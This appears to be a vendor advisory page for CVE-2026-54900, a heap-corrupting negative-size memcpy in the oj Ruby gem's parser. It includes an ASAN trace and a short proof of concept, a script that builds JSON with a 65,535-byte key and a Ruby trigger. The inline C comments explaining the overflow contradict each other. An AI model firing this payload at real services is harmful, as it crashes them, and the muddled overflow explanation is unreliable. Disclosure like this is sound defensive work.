CVE-2026-54900
CVE-2026-54900 is a CWE-190 vulnerability in oj. O3 Security confirms whether CVE-2026-54900 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54900.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
ojReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.
Version
- Software: oj gem
- Affected: all versions with
ext/oj/usual.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/usual.c, form_attr:
// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
char buf[4096];
// ...
int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0
// or: 65535 cast to int = 65535 (fits),
// but blen = 65536 → INT overflow on +1 if slen=INT_MAX
// ...
memcpy(buf, "@", 1);
memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX
}
The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.
ASAN report:
==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 memcpy
#1 form_attr /ext/oj/usual.c:63
#2 cache_intern /ext/oj/cache.c:326
#3 get_attr_id /ext/oj/usual.c:186
#4 close_object_create /ext/oj/usual.c:374
#5 parse /ext/oj/parser.c:693
#6 parser_parse /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)
Reproduce
Generate the payload:
key = 'A' * 65535
with open('poc.json', 'w') as f:
f.write('{"json_class":"Oj::Bag","' + key + '":1}')
Trigger:
require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | oj | all versions | 3.17.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for oj. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update oj to 3.17.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54900 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-54900 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-54900. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-54900 in your dependencies?
O3 detects CVE-2026-54900 across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.